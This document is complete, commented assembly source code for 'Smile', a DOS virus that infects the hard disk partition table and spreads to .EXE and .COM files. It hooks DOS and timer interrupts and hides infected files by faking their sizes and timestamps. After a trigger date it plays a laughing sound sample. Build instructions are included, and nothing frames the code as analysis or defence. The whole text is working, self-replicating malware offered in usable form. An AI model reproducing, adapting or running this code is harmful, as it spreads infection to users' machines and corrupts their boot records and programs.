;------------------------------------------------------------------------------
;
; Virus Name:  Smile   
; Origin:      Holland
; Eff Length:  4,096 bytes
; Type Code:   PRhE - Parasitic Resident .EXE & partition table infector
;
;------------------------------------------------------------------------------
;
; This program is assembled with TASM V1.01 from Borland International
; (assembing with MASM V5.10 from Microsoft Inc. is also possible).
;
; TASM smile;
; LINK smile,,smile;
;
;------------------------------------------------------------------------------
;
; Interrupt vectors
;
;------------------------------------------------------------------------------

iseg segment at 0
		org	8*4
Int8o		dw	0			; interrupt vector 21h
Int8s		dw	0

		org	1ch*4
Int1Co		dw	0			; interrupt vector 21h
Int1Cs		dw	0

		org	21h*4
Int21o		dw	0			; interrupt vector 21h
Int21s		dw	0

iseg ends

cseg segment public 'code'
		assume	cs:cseg,ds:cseg,es:cseg

;------------------------------------------------------------------------------
;
; Header of EXE-file
;
;------------------------------------------------------------------------------

VirusSize	equ	1580h			; size of virus
						; this one is very important,
						; if it isn't set right the
						; virus will hang every
						; infected file

PrgSize		equ	73h			; size of prg after the virus
						; this is used in the header
						; of the dummy program

						; the value of these constants
						; can be determined by creating
						; a map-file with the linker.

Signature	dw	0			; signature 'MZ'
PartPage	dw	0			; size of partitial page
PageCount	dw	0			; number of pages
ReloCount	dw	0			; number of relocation items
HeaderSize	dw	0			; size of header
MinMem		dw	0			; minimum memory needed
MaxMem		dw	0			; maximum memory needed
ExeSS		dw	0			; initial SS 
ExeSP		dw	0 			; initial SP
CheckSum	dw	0			; unused ???
ExeIP		dw	0			; initial IP
ExeCS		dw	0			; initial CS
ReloOffset	dw	0			; offset of relocationtable
OverlayNr	dw	0			; number of overlay

ComSize		dw	-1			; Size of com-file (-1 for exe)

;------------------------------------------------------------------------------
;
; This procedure is called when starting from an exe-file
;
;------------------------------------------------------------------------------

Main:		pushf				; save flags
		sub	sp,4			; reserve space far cs:ip
		push	ax			; save other registers
		push	ds
		push	es
		sti				; enable interrupts
		cmp	cs:ComSize,-1		; com or exe-file
		je	ExeFile			; -1 : exe-file
ComFile:	mov	word ptr ds:[6],0fef0h	; set availeble memory to max
		mov	bp,sp			; set cs:ip on stack for
		mov	word ptr [bp+8],ds	;   returning to the orginal
		mov	word ptr [bp+6],100h	;   program
		mov	bp,ds			; bp : stacksegment
		mov	ax,cs			; bx : begin of com-file
		add	ax,(VirusSize/10h)
		mov	bx,ax
		mov	cx,0ff0h		; cx : size of data to move
		add	ax,cx			; es : buffer for mover and
		mov	es,ax			;      infecting the bootsect.
		push	cs			; ds : codesegment
		pop	ds
		jmp	short InfectBoot	; infect bootsector
ExeFile:	mov	dx,cs			; Relocation
		add	dx,(VirusSize/10h)
		mov	ds,dx
		mov	cx,ReloCount		; number of relocation items
		add	dx,HeaderSize		; size of exe-header
		mov	si,ReloOffset		; offset of 1st relocation item
		jcxz	NoRelo
NextRelo:	lodsw				; offset
		mov	di,ax
		lodsw				; segment
		add	ax,dx
		mov	es,ax
		mov	ax,cs			; relocation factor
		add	es:[di],ax
		loop	NextRelo		; next relocation item
NoRelo:		mov	bp,sp
		mov	ax,cs			; set cs:ip on stack for
		add	ax,ExeCS		;  returning to the orginal
		mov	[bp+8],ax		;  program
		mov	ax,ExeIP
		mov	[bp+6],ax
		mov	bp,cs			; bp : stacksegment
		add	bp,ExeSS
		mov	ax,PageCount		; calculate size of exe-file
		mov	dx,PartPage		; in paragraphs
		add	dx,-1
		sbb	ax,0
		mov	cl,4
		shr	dx,cl
		inc	dx
		inc	cl
		shl	ax,cl
		add	dx,ax
		add	dx,MinMem		; dx : size of exe-file
		mov	cx,dx			; cx : size of code and data
		sub	cx,HeaderSize
		mov	bx,cs			; bx : start of code and data
		mov	ds,bx
		add	bx,(VirusSize/10h)
		add	bx,dx
		mov	es,bx			; es : buffer for mover and
		sub	bx,cx			;      infecting the bootsect.
InfectBoot:	push	bx			; save bx and cx
		push	cx
		mov	ax,201h			; read bootsector from disk
		xor	bx,bx
		mov	cx,1
		mov	dx,80h
		int	13h
		jc	BootOk			; error ?
		mov	si,offset BootSector	; compare with infected code
		xor	di,di
		mov	cx,1*BootSize
		cld
		repe	cmpsb
		je	BootOk			; equal ?
		mov	di,1beh+8		; check partitions, we don't 
		mov	cx,4			; want to overwrite them
NextPartition:	cmp	word ptr es:[di+2],0
		ja	SectOk
		cmp	word ptr es:[di],(VirusSize+1ffh)/200h+1
		ja	SectOk
		cmp	word ptr es:[di],0
		ja	BootOk
SectOk:		add	di,10h
		loop	NextPartition
		mov	si,offset BootSector	; exchange code from bootsector
		xor	di,di			; with viral code
		mov	cx,1*BootSize
		cld
		call	Swapsb
		push	es			; write virus to disk
		pop	ds
		push	cs
		pop	es
		mov	ax,(VirusSize+1ffh)/200h+300h
		mov	cx,2
		int	13h
		push	ds
		pop	es
		push	cs
		pop	ds
		jc	BootOk			; error ?
		mov	ax,301h			; write bootsector to disk
		mov	cx,1
		int	13h
BootOk:		pop	cx			; restore bx and cx
		pop	bx
		mov	dx,cs			; dx = destenation segment
		xor	di,di
		push	es			; push seg:ofs of mover
		push	di
		push	cx			; save cx
		mov	cx,1*MoverSize
		mov	si,offset Mover
		cld					; copy mover-procedure
		rep	movsb
		pop	cx			; restore cx
		cli				; disable interrupts
		retf				; jump to mover

Mover:		mov	ax,cx			; save cx
		mov	ds,bx			; ds:si = source
		mov	es,dx			; es:di = destenation
		xor	si,si
		xor	di,di
		mov	cx,8h			; copy one paragraph
		rep	movsw
		inc	bx
		inc	dx
		mov	cx,ax			; restore cx
		loop	Mover			; next paragraph
		mov	ss,bp			; ss = new stacksegment
		sti				; enable interrupts
		pop	es			; restore registers
		pop	ds
		pop	ax
		iret				; jump to program

MoverSize	equ	($-Mover)

;------------------------------------------------------------------------------
;
; Bootsector startup
;
;------------------------------------------------------------------------------

Bootsector:	cli				; disable interrupts
		xor	bx,bx			; setup stack and ds
		mov	ds,bx
		mov	ss,bx
		mov	sp,7c00h
		sti				; enable interrupts
		mov	ax,ds:[413h]		; get size of base memory
		sub	ax,(VirusSize+3ffh)/400h; subtract virussize
		mov	ds:[413h],ax		; store new memory size
		mov	cl,6			; calculate segment
		shl	ax,cl
		mov	es,ax			; load virus in reserved mem
		mov	ax,(VirusSize+1ffh)/200h+200h
		mov	cx,2
		mov	dx,80h
		int	13h
		mov	bx,offset StartUp	; bx=offset startup
		push	es			; jump to startup (es:bx)
		push	bx
		retf

BootSize	equ	($-Bootsector)		; size of bootsector part

StartUp:	cli					; disable interrupts
		mov	ax,offset Interrupt1C		; hack interrupt 1C
		xchg	ax,ds:Int1Co
		mov	cs:OldInt1Co,ax
		mov	ax,cs
		xchg	ax,ds:Int1Cs
		mov	cs:OldInt1Cs,ax
		mov	cs:OldInt21o,-1
		mov	cs:OldInt21s,-1
		mov	cs:Count,-1
		sti				; enable interrupts
		push	cs			; ds=cs
		pop	es
		mov	si,7c00h		; di=7c00h (Bootsector)
		mov	di,offset BootSector	; si=BootSector
		mov	cx,1*BootSize		; bytes to copy
		cld				; copy forward
		call	Swapsb			; restore orginal boot
		mov	ax,7c00h		; offset bootsector
		push	ds			; jump to bootsector
		push	ax
		retf

Interrupt8:	push	ax			; save registers
		push	si
		push	ds
		push	cs
		pop	ds
		mov	si,SampleOffset		; get offset of next bit
		dec	byte ptr ds:SampleBit
		test	byte ptr ds:SampleBit,7
		jnz	OfsOk
		inc	si
		cmp	si,offset SampleEnd	; end of sample ?
		jb	OfsOk			; no, play bit
		mov	al,34h			; reset int 8 frequency
		out	43h,al
		xor	ax,ax
		out	40h,al
		out	40h,al
		mov	ds,ax			; reset int 8 vector
		mov	ax,cs:OldInt8o
		mov	ds:Int8o,ax
		mov	ax,cs:OldInt8s
		mov	ds:Int8s,ax		
		inc	byte ptr cs:SampleFlag	; set sample ready flag
		jmp	short ExitInt8		; end of interrupt
OfsOk:		mov	SampleOffset,si		; store offset
		rol	byte ptr ds:[si],1	; next bit
		mov	ah,ds:[si]		; get bit value
		and	ah,1
		shl	ah,1
		in	al,61h			; get value of io-port 61h
		and	al,0fch			; reset last 2 bits
		or	al,ah			; set bit 2 with sample value
		out	61h,al			; write to io-port 61h
ExitInt8:	mov	al,20h			; end of interrupt signal
		out	20h,al
		pop	ds			; restore registers
		pop	si
		pop	ax
		iret				; return to program

Interrupt1C:	push	ds			; save registers
		push	ax
		push	bx
		xor	ax,ax			; interrupts vectors
		mov	ds,ax
		mov	ax,ds:Int21o
		cmp	cs:OldInt21o,ax
		jne	Changed
		mov	ax,ds:Int21s
		cmp	cs:OldInt21s,ax
		je	Equal
Changed:	mov	ax,ds:Int21o
		mov	cs:OldInt21o,ax
		mov	ax,ds:Int21s
		mov	cs:OldInt21s,ax
		mov	cs:Count,182
		jmp	short NotReady
Equal:		dec	cs:Count
		jnz	NotReady
		mov	ax,cs:OldInt1Co		; restore vector 1C
		mov	ds:Int1Co,ax		; (This interrupt)
		mov	ax,cs:OldInt1Cs
		mov	ds:Int1Cs,ax
		mov	ax,offset Interrupt21	; Hack interrupt 21
		xchg	ax,ds:Int21o
		mov	cs:OldInt21o,ax
		mov	ax,cs
		xchg	ax,ds:Int21s
		mov	cs:OldInt21s,ax
		mov	ax,16
		mov	bx,offset Handle
NextHandle:	mov	byte ptr cs:[bx],0
		inc	bx
		dec	ax
		jnz	NextHandle
		mov	byte ptr cs:Active,-1
NotReady:	pop	bx
		pop	ax			; restore registers
		pop	ds
		jmp	cs:OldInt1C		; do orginal int 1C

Swapsb:		mov	al,es:[di]		; exchange two memory bytes
		xchg	al,ds:[si]
		stosb
		inc	si
		loop	Swapsb			; next byte
		ret				; return

;------------------------------------------------------------------------------
;
; Manipilated functions
;
;------------------------------------------------------------------------------

Functions	db	11h				; 1
		dw	offset FindFCB
		db	12h				; 2
		dw	offset FindFCB
		db	30h				; 3
		dw	offset DosVersion
		db	3ch				; 4
		dw	offset Open
		db	3dh				; 5
		dw	offset Open
		db	3eh				; 6
		dw	offset Close
		db	42h				; 7
		dw	offset Seek
		db	45h				; 8
		dw	offset Duplicate
		db	46h				; 9
		dw	offset Redirect
		db	4eh				; 10
		dw	offset Find
		db	4fh				; 11
		dw	offset Find
		db	5bh				; 12
		dw	offset Open
		db	6ch				; 13
		dw	offset OpenCreate

FunctionCount	equ	13

;------------------------------------------------------------------------------
;
; The orginal interrupt 21h is redirected to this procedure
;
;------------------------------------------------------------------------------

DosVersion:	push	ax
		push	cx
		push	dx
		push	ds
		push	cs
		pop	ds
		cmp	cs:Active,0
		je	NotActive
		mov	ah,2ah
		call	DOS
		cmp	ActiveYear,cx
		jb	NotActive
		cmp	ActiveDate,dx
		jb	NotActive
		cli
		xor	ax,ax
		mov	ds,ax
		mov	ax,offset Interrupt8
		xchg	ax,ds:Int8o
		mov	cs:OldInt8o,ax
		mov	ax,cs
		xchg	ax,ds:Int8s
		mov	cs:OldInt8s,ax
		mov	al,34h
		out	43h,al
		mov	al,80h
		out	40h,al
		mov	al,0
		out	40h,al
		push	cs
		pop	ds
		mov	byte ptr SampleFlag,0
		mov	byte ptr SampleBit,0
		mov	word ptr SampleOffset,offset SampleData
		sti
Delay:		cmp	byte ptr SampleFlag,0
		je	Delay
		mov	byte ptr Active,0
NotActive:	pop	ds
		pop	dx
		pop	cx
		pop	ax
		jmp	Old21

FindFCB:	call	DOS			; call orginal interrupt
		cmp	al,0			; error ?
		jne	Ret1
		pushf				; save registers
		push	ax
		push	bx
		push	es
		mov	ah,2fh			; get DTA
		call	DOS
		cmp	byte ptr es:[bx],-1	; extended fcb ?
		jne	FCBOk
		add	bx,8			; yes, skip 8 bytes
FCBOk:		mov	al,es:[bx+16h]		; get file-time (low byte)
		and	al,1fh			; seconds
		cmp	al,1fh			; 62 seconds ?
		jne	FileOk			; no, file not infected
		sub	word ptr es:[bx+1ch],VirusSize
		sbb	word ptr es:[bx+1eh],0	; adjust file-size
		jmp	short Time

Find:		call	DOS			; call orginal interrupt
		jc	Ret1			; error ?
		pushf				; save registers
		push	ax
		push	bx
		push	es
		mov	ah,2fh
		call	DOS
		mov	al,es:[bx+16h]		; get file-time (low byte)
		and	al,1fh			; seconds
		cmp	al,1fh			; 62 seconds ?
		jne	FileOk			; no, file not infected
		sub	word ptr es:[bx+1ah],VirusSize
		sbb	word ptr es:[bx+1ch],0	; change file-size
Time:		xor	byte ptr es:[bx+16h],1fh; adjust file-time
FileOk:		pop	es			; restore registers
		pop	bx
		pop	ax
		popf
Ret1:		retf	2			; return

Seek:		or	bx,bx			; bx=0 ?
		jz	Old21			; yes, do orginal interrupt
		push	bx
		call	FindHandle
		pop	bx
		jc	Old21
Stealth:	or	al,al			; seek from top of file ?
		jnz	Relative		; no, don't change cx:dx
		add	dx,VirusSize		; change cx:dx
		adc	cx,0
Relative:	call	DOS			; Execute orginal int 21h
		jc	Ret1			; Error ?
		sub	ax,VirusSize		; adjust dx:ax
		sbb	dx,0
		jmp	short Ret1		; return

Close:		or	bx,bx			; bx=0 ?
		je	Old21			; yes, do orginal interrupt
		push	ax
		push	cx
		push	dx
		push	si
		push	ds
		push	cs			; ds=cs
		pop	ds
		push	bx
		call	FindHandle
		mov	si,bx
		pop	bx
		jc	DoNotUpdate
		mov	word ptr ds:[si],0
		cmp	byte ptr ds:[si+2],0
		je	DoNotUpdate
		call	UpdateHeader
DoNotUpdate:	pop	ds			; restore registers
		pop	si
		pop	dx
		pop	cx
		pop	ax
Not2:		jmp	short Old21		; continue with orginal int

Interrupt21:	push	bx			; after an int 21h instruction
		push	cx			; this procedure is started
		mov	bx,offset Functions
		mov	cx,FunctionCount
NxtFn:		cmp	ah,cs:[bx]		; search function
		je	FunctionTrap
		add	bx,3
		loop	NxtFn
		pop	cx			; function not found
		pop	bx
Old21:		jmp	cs:OldInt21

FunctionTrap:	push	bp			; function found, start viral
		mov	bp,sp			; version of function
		mov	bx,cs:[bx+1]
		xchg	bx,[bp+4]
		mov	cx,[bp+10]
		xchg	cx,[bp+2]
		pop	bp
		popf
		ret

Duplicate:	call	DOS
		jc	Error
		pushf
		push	bx
		push	dx
		call	FindHandle
		jc	Ret3
		mov	dl,cs:[bx+2]
		mov	bx,ax
		call	StoreHandle
Ret3:		pop	dx
		pop	bx
		popf
		jmp	Ret2

Redirect:	call	DOS
		jc	Error
		pushf
		push	bx
		push	cx
		xchg	bx,cx
		call	FindHandle
		jc	Ret4
		mov	cs:[bx],cx
Ret4:		pop	cx
		pop	bx
		popf
		jmp	Ret2

OpenCreate:	or	al,al			; extended open/create function
		jne	Old21			; no, do orginal interrupt 21
		push	dx			; save dx
		mov	dx,si			; check extension of filename
		call	CheckName
		pop	dx			; retore dx
		jc	Old21			; exe or com-file?
		jmp	short ExtensionOk	; yes, infect file or use
						; stealth

Open:		call	CheckName		; exe or com-file ?
		jc	Old21			; no, do orginal int 21
ExtensionOk:	call	DOS			; do interrupt 21
		jnc	NoError			; error ?
Error:		jmp	Ret2			; yes, return and do nothing
NoError:	pushf				; save registers
		push	ax
		push	bx
		push	cx
		push	dx
		push	ds
		push	cs
		pop	ds
		mov	bx,ax			; bx = file handle
		mov	ax,4400h		; get device information
		call	DOS
		jc	PopRet			; error ?
		test	dx,80h			; character device
		jnz	PopRet			; yes, return and do nothing
		call	EndOfFile		; get file size
		or	ax,dx			; 0 ?
		jnz	FileExists		; no, file already existed
FileCreated:	call	HandleFree
		jc	PopRet
		mov	ah,2ah
		call	DOS
		add	dh,3
		cmp	dh,12
		jbe	DateOk
		inc	cx
		sub	dh,12
DateOk:		mov	ActiveYear,cx
		mov	ActiveDate,dx
		mov	ah,40h			; write virus to file
		mov	cx,VirusSize
		call	Zero2
		jc	NoVir			; error ? yes, return
		xor	ax,cx			; entire virus written ?
		jnz	NoVir			; no, return
		mov	dl,1
		call	StoreHandle
		jmp	short PopRet		; return
FileExists:	call	TopOfFile		; go to top of file
		call	HandleFree
		jc	PopRet			; no, do nothing
		call	ReadHeader		; read exe-header
		jc	NoVir			; error ?
		xor	ax,cx			; entire header read
		jne	NoVir			; no, not infected
		cmp	Signature,5a4dh		; signature = 'MZ' ?
		jne	NoVir			; no, not infected
		cmp	HeaderSize,ax		; headersize = 0 ?
		jne	NoVir			; no, not infected
		cmp	CheckSum,0DEADh		; checksum = DEAD hex
		jne	NoVir			; no, not infected
		mov	dl,0
		call	StoreHandle
		mov	dx,VirusSize		; seek to end of virus
		jmp	short Infected
NoVir:		xor	dx,dx
Infected:	xor	cx,cx			; go to end of virus if file
		mov	ax,4200h		; is infected
		call	DOS
PopRet:		pop	ds			; restore registers
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		popf
Ret2:		retf	2			; return

;------------------------------------------------------------------------------

EndOfFile:	mov	ax,4202h		; go to end of file
		jmp	short Zero1

TopOfFile:	mov	ax,4200h		; go to top of file
Zero1:		xor	cx,cx
		jmp	short Zero2

WriteHeader:	mov	ah,40h			; write exe-header to file
		jmp	short Hdr

ReadHeader:	mov	ah,3fh			; read exe-header from file
Hdr:		mov	cx,1eh
Zero2:		xor	dx,dx

DOS:		pushf				; call orginal interrupt
		call	cs:OldInt21
		ret

FindHandle:	push	ax
		push	cx
		mov	ax,bx
		mov	bx,offset Handle
		mov	cx,8
NotFound:	cmp	ax,cs:[bx]
		je	Found
		inc	bx
		inc	bx
		inc	bx
		loop	NotFound
		stc
Found:		pop	cx
		pop	ax
		ret

HandleFree:	push	bx
		xor	bx,bx
		call	FindHandle
		pop	bx
		ret

StoreHandle:	push	bx
		push	bx
		xor	bx,bx
		call	FindHandle
		pop	cs:[bx]
		mov	cs:[bx+2],dl
		pop	bx
		ret

CheckName:	push	ax			; check for .exe or .com
		push	cx			; save registers
		push	si
		push	di
		xor	ah,ah			; point found = 0
		mov	cx,100h			; max length filename = 100h
		mov	si,dx			; si = start of filename
		cld
NxtChr:		lodsb				; get byte
		or	al,al			; 0 ?
		je	EndName			; yes, check extension
		cmp	al,'\'			; \ ?
		je	Slash			; yes, point found = 0
		cmp	al,'.'			; . ?
		je	Point			; yes, point found = 1
		loop	NxtChr			; next character
		jmp	short EndName		; check extension
Slash:		xor	ah,ah			; point found = 0
		jmp	NxtChr			; next character
Point:		inc	ah			; point found = 1
		mov	di,si			; di = start of extension
		jmp	NxtChr			; next character
EndName:	cmp	ah,1			; point found = 0
		jne	NotExe			; yes, not an exe-file
		mov	si,di			; si = start of extension
		lodsw				; first 2 characters
		and	ax,0dfdfh		; uppercase
		mov	cx,ax
		lodsb				; 3rd character
		and	al,0dfh			; uppercase
		cmp	cx,04f43h		; extension = .com ?
		jne	NotCom
		cmp	al,04dh
		je	ChkRet
NotCom:		cmp	cx,05845h		; extension = .exe ?
		jne	NotExe
		cmp	al,045h
		je	ChkRet
NotExe:		stc				; set carry flag
ChkRet:		pop	di			; restore registers
		pop	si
		pop	cx
		pop	ax
		ret				; return

UpdateHeader:	mov	ax,4200h		; position read/write pointer
		xor	cx,cx			; at the end of the virus
		mov	dx,VirusSize
		call	DOS
		call	ReadHeader		; read orginal exe-header
		cmp	Signature,5a4dh
		je	InfectExe
InfectCom:	mov	Signature,5a4dh
		mov	ReloOffset,01ch
		mov	OverlayNr,0
		mov	ExeSS,(VirusSize-100h)/10h
		mov	ExeSP,0fffeh
		call	EndOfFile
		sub	ax,VirusSize
		sbb	dx,0
		mov	ComSize,ax
		mov	cx,10h
		div	cx
		sub	dx,1
		mov	dx,0ff2h+20h
		sbb	dx,ax
		mov	MinMem,dx
		jmp	WriteIt
InfectExe:	mov	ComSize,-1
		mov	ax,(VirusSize/10h)
		add	ax,HeaderSize
		add	ExeSS,ax
		add	MinMem,20h
		add	MaxMem,20h
		jnc	MaxOk
WriteIt:	mov	MaxMem,0ffffh
MaxOk:		mov	ReloCount,0
		mov	HeaderSize,0
		mov	CheckSum,0DEADh
		mov	ExeCS,0
		mov	ExeIP,offset Main
		call	EndOfFile
		mov	cx,200h
		div	cx
		mov	PartPage,dx
		add	dx,-1
		adc	ax,0
		mov	PageCount,ax
		call	TopOfFile
		call	WriteHeader		; write header at the top of
		jc	InfErr			; the virus
		mov	ax,5700h
		call	DOS
		mov	ax,5701h
		or	cl,1fh
		call	DOS
InfErr:		ret

;------------------------------------------------------------------------------
;
; Data to generate the Laugh sound
;
;------------------------------------------------------------------------------

SampleData	db	249,220,204,102, 51, 51,116,102,227,  6, 28,216,243,129,131, 54
		db	140,204,226,227, 51, 18, 25,184, 98,199,131, 30, 25,204,204,193
		db	230, 79, 28,248, 98,241,142,199, 51, 24,228,249,179, 44,221,241
		db	 54, 71,254, 46,  8,255,139,227, 59,196,241, 49,198,208,243,205
		db	193,115,155,131,206, 46, 14,177,176, 51,205,129,158, 54,142,113
		db	144,115,140,135, 56,240, 55,205,131,188,124, 51,199,195,156,120
		db	 25,199,129,156, 76, 49,197,195, 28,110, 57,231,129,156,120, 25
		db	197,145,156,108, 25,102,201,158, 46, 12,113,224,231,141,163, 60
		db	 76, 25,227,104,228,229,131,131,154,157, 24,102,114,206, 71,193
		db	241, 14,229,140, 55,196,241,125, 89, 27, 29,195,240,157, 30, 68
		db	193,246, 57,135, 99, 56,238, 25,134,196,241,230, 24,  6, 24,176
		db	231, 51,142,113,178,113,205, 55,160, 67, 57,198,143,177,147, 56
		db	115,135, 89,193,157, 56,103,156,112,115,102,217,227, 30, 76,121
		db	156,241, 35, 71, 56,227,155, 12,103,190, 56,115,198,105,150, 97
		db	142, 28,113,230, 50, 60,185,201,156, 76,248,231, 13,204,248,100
		db	199, 39, 28,113,198, 70, 71, 54,124,219, 99,135, 48, 62, 25,131
		db	112,196, 31, 14, 51,225,225, 56,110,  1,206, 51,147,110, 15,129
		db	252,127,  7,113,184, 29,135,192,236, 62,  7,227,224,127, 31,  3
		db	176,240, 63,143,  1,216,248, 29,143,131,184,248, 63, 15,131,112
		db	248,102, 28,134,225,208,238, 61, 12,199,161,220, 90, 25,199, 35
		db	184,244, 51,139, 67, 56,164,119, 22,134,115,104,238, 60,140,226
		db	217,206,105, 25,204,179, 28,211, 51,137, 38, 57,180,199, 50, 76
		db	115, 44,199, 50,156,230, 73,142,101,152,230, 89,142,116,153,230
		db	217,158,109,153,227, 65,142, 54, 14,241,176,102,198, 17,199, 26
		db	 14,204,105, 59, 49,131,156,153,135,135, 19, 24, 30, 59,134, 99
		db	188, 48,195,112,198, 57,216,198, 44,110, 76,205, 50, 76,176,110
		db	 19, 49,215, 48,222,199, 15,153,102,107, 38,195, 50,108, 51, 44
		db	113,228,201, 60,204,241,204,184,100,204,198, 57,227, 32, 30,127
		db	193,156,113,184,155, 24,201,201, 48,108,231,134, 70,112,102, 28
		db	103,115,177,118, 49,135, 19, 57,177,155, 31, 28,121,248,230, 31
		db	134, 96,248,230, 60,102,115, 51, 28, 51, 25,137,153,140,223,153
		db	197,198, 92, 46,115, 99,243,115, 25,179, 57,153,177,217,248,207
		db	 76,204,243, 51, 27, 60,201,140,115, 28, 99, 51,137,227, 56,127
		db	 19,185,222,115,241,230, 31,129,224,252, 15,  7,225,248, 62, 15
		db	131,224,120, 62,  7,129,240,120, 30,  7,129,224,124, 62,135,135
		db	145,240,241, 62, 60,143, 15,145,225,228,120,124, 15, 15,  3,227
		db	228,120,124, 31, 27,131,227, 96,252,108,159, 13,147,163,176,116
		db	118, 14,  7,193,224,248, 60, 31,  7,195, 96,232,108, 28, 13,131
		db	147,241,240,116, 62, 14,135,193,240,248, 62, 15, 14,192,225,216
		db	152, 63, 27, 15,195,193,248,124, 63, 15,  7,224,240,254, 30, 14
		db	227,192,238, 60, 30,227,224,231,143, 67,172,121,158, 51,144,112
		db	230, 88,207,193,179, 59,135, 99,198, 12,204,241,219,  7, 19,240
		db	228,110, 31,133,193, 48,120,230, 44,205,225,158, 54, 49,166,120
		db	220, 19,140,131,176,116, 79,131,129,204,124, 31,  3,193,249,204
		db	140,150, 38, 72,199,153,152,248,126,142, 79,131,131,248,190, 31
		db	 15,195,241,120,236, 96,204,143, 14, 57, 57,248,110, 62,103, 33
		db	216,248, 57, 31,  6,102,120,207, 28,216, 14,  6, 99, 96,204, 60
		db	121, 51, 67,137,207, 17,156, 57, 30, 11,198,230, 51, 51,157,179
		db	148, 96,247,113,192,204,206, 15, 35,152, 28, 30, 38,224,248,153
		db	206,227,225,113,142, 67,152,152, 89, 56,131,134,242, 56,227, 28
		db	 23,131,120, 62, 15,225,248, 63,  7,193,240,126, 15,129,224,124
		db	 31,  7,192,248, 62, 15,131,224,248, 62, 15,131,224,248, 60, 15
		db	135,208,248,121, 31, 15, 33,225,228, 60, 30, 71,195,200,248,124
		db	 15,135,193,248,248, 31, 31,131,225,240, 62, 31,  3,131,240,120
		db	 59, 15,  3,176,102, 55, 14,195,112,236, 55, 15,195,112,252, 55
		db	143,195,248,240, 63,143,  3,184,249, 27,199,161,252, 57, 31,195
		db	193,252, 60, 31, 99,192,242, 60, 79, 25,230,121,207,177,206, 62
		db	199, 24,240, 30, 51,192,240,252, 27,143,161,240,126, 30,135,192
		db	248, 60, 31,135,192,248,126, 15,135,129,196,184, 47, 13,195,216
		db	126, 27,135,201,226, 28, 70, 13,226,112,124, 71,  3,231,188, 78
		db	 30, 24,227,241,234, 62, 15,161,248, 62, 15,  7,112, 90, 99,112
		db	230, 25,147,225,240,110, 61,198,240,116, 29, 23,103, 48,240, 58
		db	 47,143,113,206, 51,198,192,126, 62, 15,  7, 97,236, 62, 31,  7
		db	240,254, 63, 15,195,240,190, 31,143,128,248, 62, 63,143, 99,152
		db	243, 60, 31,  7,129,216, 28,  7, 12,211,188,124,  7, 39,192,116
		db	119, 14,195,156,120,188,  7,195,192,239, 31,131,196,120,220, 19
		db	204,120,147,248, 89,129,216,223,140,252,253,143, 60,237,143, 28
		db	207,142,120,223, 30,241,254, 57,227,252, 99,139,177,158, 46,133
		db	248,242, 14,199,192,251, 31,  2,236,249, 31,115,228, 29,139,160
		db	236, 89,  7, 99,228, 57,159, 33,236,120, 15, 35,100, 57,155, 53
		db	196,104,143, 51,102,184,141, 16,230,124,199, 57,226, 28,199,144
		db	230, 60, 67,153,242, 28,231,200,115, 30, 97,204,121,143, 49,230
		db	 60,199,136,115,143,  1,198, 60,103,140,113,142, 56,211, 30,120
		db	240, 30, 60, 62, 77,207,153,225,124,124,153,118,126, 28,193,230
		db	 60,135,129,242, 60,103,135,112,124, 31,140,112,238,120,227,184
		db	159,142,112,238, 57,145,231,  9,199,217,134,100,108,  3,163,248
		db	110,207,136, 97,199, 32,231, 63,135,136,242,102, 52,217,180,113
		db	198,112,227, 57,199,  4,193,204,115,142, 35, 12,219,156,118, 92
		db	203, 24, 99,128,241, 60, 39,204, 57, 31, 36,201,157, 19,230,108
		db	205,159, 99, 46,237,217, 51, 39,204, 28,  7, 12,120, 28,115,206
		db	124,142, 51,178, 60, 57,158, 62, 99, 12,153,209, 28,226,140, 51
		db	195, 24,243,188,230,217,227,144,240,158, 19,134,112, 79,200,241
		db	 63,198,225,231,145,226,126, 79,129,243, 60, 79,129,240,120, 31
		db	  3,192,240, 62, 15,193,240,120, 31,  3,225,240, 62, 31,  3,224
		db	240, 63, 15,  3,224,240, 63, 31,  7,225,240,126, 63,  7,225,248
		db	126, 31,135,225,220,110, 29,227,112,207, 27,  7,124,111, 28,241
		db	190, 60,227,100, 76,243, 60, 71,152,224,248, 63,135,227,248,126
		db	 28,135,129,224,248, 63, 31,131,145,240,124, 47, 15,227,240,126
		db	 31,131,224,248, 62, 31,198,241,220, 59, 15, 49,224, 56,143, 17
		db	199,185,248,126, 31,133,224,248, 62, 59,135, 96,252, 60, 23,197
		db	192,248, 60, 31, 49,196,241,216, 51,153,195,141,140,140, 62, 71
		db	102,248,190, 61,199,144,226, 62, 51,129,225,252, 62, 19,100,230
		db	 49,140,115, 28,  3,160,224, 60, 71,131,226,248,156, 51,131,113
		db	248, 59,143,137,198, 56, 46, 29,193,240,230, 61,199, 57,230, 56
		db	215, 23, 38,120,230, 57,198, 35,198,108,141,148,113, 57,226, 57
		db	199,120,254, 15, 99,248, 70,197,200, 59, 31,225,248,191,  7,195
		db	232,126, 31,  3,240,252, 61,143,225,204,127, 14, 99,252,115,143
		db	227,204,119,143, 49,206, 60,199, 56,121,142,112,227,140,113,143
		db	199,216, 60,199, 33,248,121,143,  1,198, 57,198,204,227,156,224
		db	126, 30, 67,227, 56, 62, 29,143, 25,200,230, 30, 99,204,113, 14
		db	 49,131, 92,197,206,120,238, 17,200,121,  7, 25,196, 24,222,  7
		db	  0,112, 98, 61,142, 99,252, 63, 15,140,236,198,115, 70, 78,224
		db	220, 51,134,112, 78, 55,135,112,230, 56,254, 49,195,152,124,103
		db	 35,182,113,133,225,188, 14,131,182, 62,121, 51,  7, 44,227, 25
		db	223, 24,228, 79,199,192,124, 15,  0,226,120,153, 49,202, 26, 39
		db	113,240,187, 31,225,240,117, 12,200,232,230, 51, 39,140,241, 29
		db	 25,200,113,155,153, 62, 30,  3,168,113, 30,  1,195, 48, 76,127
		db	142, 99, 29,175, 57,142,195,243,220, 24,142,  3,136,248, 30, 19
		db	 70,240,123, 59,199,120,227, 56,115, 15,199,248,248, 31,  3,193
		db	216, 57,142,113,206, 57,177,183,121,185,  3,248,206, 11,156,115
		db	129,156, 55,145,216, 95, 19,241,190,103,227,248, 31,139,240,118
		db	 31,193,216,127,  7,113,126, 29,199,248,127, 15,224,252, 63,195
		db	184,255, 12,227,252, 51,142,240,206, 57,195,152,115, 12,227,156
		db	115,142,113,206, 56,199, 56,227, 28, 97,140,121,198, 57,231, 28
		db	227,156,115,143, 56,199, 14,120,143,134,120, 79, 14,120,223, 15
		db	222, 51,227, 29,193,252,103,135,152,142, 12,228,114, 59,152,204
		db	224, 55, 25,241,156,100,199, 57,185, 28,199,204,113,159, 24,198
